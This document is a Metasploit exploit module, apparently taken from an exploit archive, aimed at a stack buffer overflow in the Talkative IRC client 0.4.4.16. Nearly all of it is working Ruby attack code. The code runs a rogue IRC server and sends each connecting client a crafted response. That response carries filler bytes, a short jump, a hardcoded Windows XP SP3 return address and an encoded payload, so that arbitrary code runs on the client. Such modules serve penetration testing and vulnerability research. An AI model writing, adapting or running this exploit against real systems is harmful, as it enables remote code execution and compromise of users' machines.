Talkative IRC 0.4.4.16 – Response Buffer Overflow (Metasploit)
## # $Id: talkative_response.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Talkative IRC v0.4.4.16 Response Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Talkative IRC v0.4.4.16. When a specially crafted response string is sent to a client, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10998 $', 'References' => [ [ 'OSVDB', '64582'], [ 'BID', '34141' ], [ 'URL', 'http://milw0rm.com/exploits/8227' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 750, 'BadChars' => "\x00\x0a\x20\x0d", 'StackAdjustment' => -3500, 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 English', { 'Ret' => 0x72d1146b } ], ], 'Privileged' => false, 'DisclosureDate' => 'Mar 17 2009', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]) ], self.class) end def on_client_connect(client) res = ":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n" client.put(res) end def on_client_data(client) return if ((p = regenerate_payload(client)) == nil) sploit = ":" + rand_text_alpha_upper(272) + Rex::Arch::X86.jmp_short(6) sploit << rand_text_alpha_upper(2) + [target.ret].pack('V') + payload.encoded sploit << " PRIVMSG " + rand_text_alpha(rand(10) + 1) sploit << " : /FINGER " + rand_text_alpha(rand(10) + 1) + ".\r\n" client.put(sploit) handler service.close_client(client) end end |